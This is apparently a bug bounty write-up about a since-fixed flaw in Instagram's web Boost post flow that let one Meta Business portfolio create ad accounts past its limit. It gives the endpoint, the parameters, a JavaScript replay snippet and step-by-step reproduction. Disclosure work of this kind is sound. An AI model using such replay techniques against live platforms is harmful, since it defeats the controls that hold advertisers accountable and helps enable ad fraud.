During a recent review of Instagram’s web “Boost post” flow, I identified a flaw that let a single Meta Business portfolio sidestep its ad_account_creation_limit entirely. The flow provisioned a backing ad account through a Bloks controller, and that request could simply be replayed — with a fresh flow_id each time — to attach another ad account to the same portfolio on every call. One client-side request, repeated, defeated the per-portfolio cap Meta uses to hold advertisers accountable.
This write-up reconstructs the technique from my own recording of the flow, and documents a retest confirming the path has since been closed. The request and response samples below are reconstructed from that recording, not from a saved capture.
What Happened?
Every Meta Business portfolio has an ad_account_creation_limit. A fresh portfolio can create a single ad account, and the cap only rises with verification and sustained ad spend. It exists so that one entity cannot spin up an unlimited fleet of ad accounts under one roof.
On the web, the Instagram Boost flow drove its ad-account setup through a Bloks async controller:
- Controller:
com.bloks.www.ig.pro2pro.framework.boost.on.web.async.controller - Class:
BloksPro2ProFrameworkBoostIGBAMutationAsyncController - Flow:
pro2pro_framework_boost_on_web_flow
When a user started a Boost on one of their posts, this controller provisioned the backing ad account for the campaign. The oversight was that the provisioning request could be replayed directly, and each replay — with a freshly generated flow_id — attached a new ad account to the same portfolio. The creation-limit check that the normal interface enforces was never consulted on this path.
The Impact: Creation-Limit Bypass
By replaying the boost-on-web request in a loop, a single portfolio could accumulate ad accounts well past its allowed limit. This hands a bad actor a cheap pool of ad accounts under one portfolio — useful for burn-and-replace campaigns after bans and for generally defeating the per-portfolio control Meta relies on for advertiser accountability. (How far that scales into live ad fraud depends on funding each account; see the caveat below.)
How It Worked
The entire bypass comes down to one replayable request. Below is the call, the response it returns, and how the portfolio’s ad-account list behaved as the request was repeated.
The provisioning request. Starting a Boost on a post fires a single POST through the pro2pro controller. These are the fields that matter:
| Field | Value |
|---|---|
| Method | POST |
| Endpoint | https://www.instagram.com/b/<MEDIA_ID>/?context=postPage&flow_id=<UUID>&media_ids[0]=<MEDIA_ID>&promote&return_path=%2F |
| Controller | com.bloks.www.ig.pro2pro.framework.boost.on.web.async.controller |
| Class | BloksPro2ProFrameworkBoostIGBAMutationAsyncController |
| Flow | pro2pro_framework_boost_on_web_flow |
| Key params | flow_id (per-run UUID), media_ids[0] (the post), context=postPage |
| Auth | Session cookies only (credentials: include) |
1. The Setup: I opened one of my posts on a test Instagram professional account and started the Boost post flow on instagram.com, with the browser DevTools open on the Network tab. I noted the portfolio’s current ad-account count in Business settings → Ad accounts.
2. The Request: I located the boost-on-web provisioning request for the post — the call routed through the controller above — and copied its media_id and flow_id.
3. The Replay: From the Console I replayed that request with my session cookies, generating a fresh flow_id on each run:
const MEDIA_ID = "<MY_POST_MEDIA_ID>";
async function provision() {
const FLOW_ID = crypto.randomUUID(); // new flow every call
const url = `https://www.instagram.com/b/${MEDIA_ID}/`
+ `?context=postPage&flow_id=${FLOW_ID}`
+ `&media_ids[0]=${MEDIA_ID}&promote&return_path=%2F`;
const r = await fetch(url, { method: "POST", mode: "cors", credentials: "include" });
console.log("HTTP:", r.status, "flow:", FLOW_ID);
}
await provision(); // run again with a new flow_id
Note: a live replay also carries Instagram’s standard web headers from the session — x-ig-app-id, x-csrftoken, and fb_dtsg/lsd. Without them the endpoint rejects the call. The snippet above is trimmed to the parts that make the replay distinct.
4. The Response: Each replay returned HTTP 200 with a Bloks envelope carrying the boost controller action and the promote URL for the flow. The envelope itself does not contain an ad-account object — the new account showed up in the portfolio’s Ad accounts list, not in this response body:
{
"__ar": 1,
"payload": {
"layout": {
"bloks_payload": {
"action": "com.bloks.www.ig.pro2pro.framework.boost.on.web.async.controller",
"open_promote_url": "/b/<MEDIA_ID>/?flow_id=<UUID>&...",
"asset_checks": { "profile": "..." }
}
}
}
}
5. The Loop: The whole bypass is just this request, repeated. Nothing else in the flow re-checks the limit:
6. The Behavior: Repeating the replay with only the flow_id changed, the portfolio’s Ad accounts list grew on each call, past the number it was meant to be able to create. The progression below is illustrative — the flow_ids and counts are placeholders, not captured values:
| Replay # | flow_id |
Response | Portfolio ad-account count |
|---|---|---|---|
| — (start) | — | — | 1 (at the limit) |
| 1 | a1b2… | HTTP 200 | 2 |
| 2 | c3d4… | HTTP 200 | 3 |
| 3 | e5f6… | HTTP 200 | 4 |
| … | … | HTTP 200 | grows per replay |
Why It’s Dangerous
Per-portfolio ad-account limits are one of the few structural brakes Meta has on advertiser abuse at scale. A replayable provisioning path that skipped the limit check quietly removed that brake for anyone who found it. An attacker could stockpile ad accounts under a single portfolio and provision more whenever accounts were disabled — undermining the accountability the limit is designed to enforce. Turning each account into a live, spending one still requires completing the boost (adding a payment method); the flaw is in the uncapped provisioning itself, which removes the structural brake regardless of how many accounts are ultimately funded.
Resolution and Fix
After discovering the vulnerability, I reported it through Meta’s Bug Bounty Program, providing detailed reproduction steps and proof of concept. Meta acknowledged the issue and deployed a fix to properly enforce the ad account creation limit across the Boost-on-web provisioning path. The flow no longer uses the pro2pro controller; initialization now runs through a single GraphQL mutation that reuses an existing ad account instead of provisioning a new one on every call, and the replayable creation path is closed.
Comments 0
Comments are reviewed before they appear.
No comments yet. Start the conversation.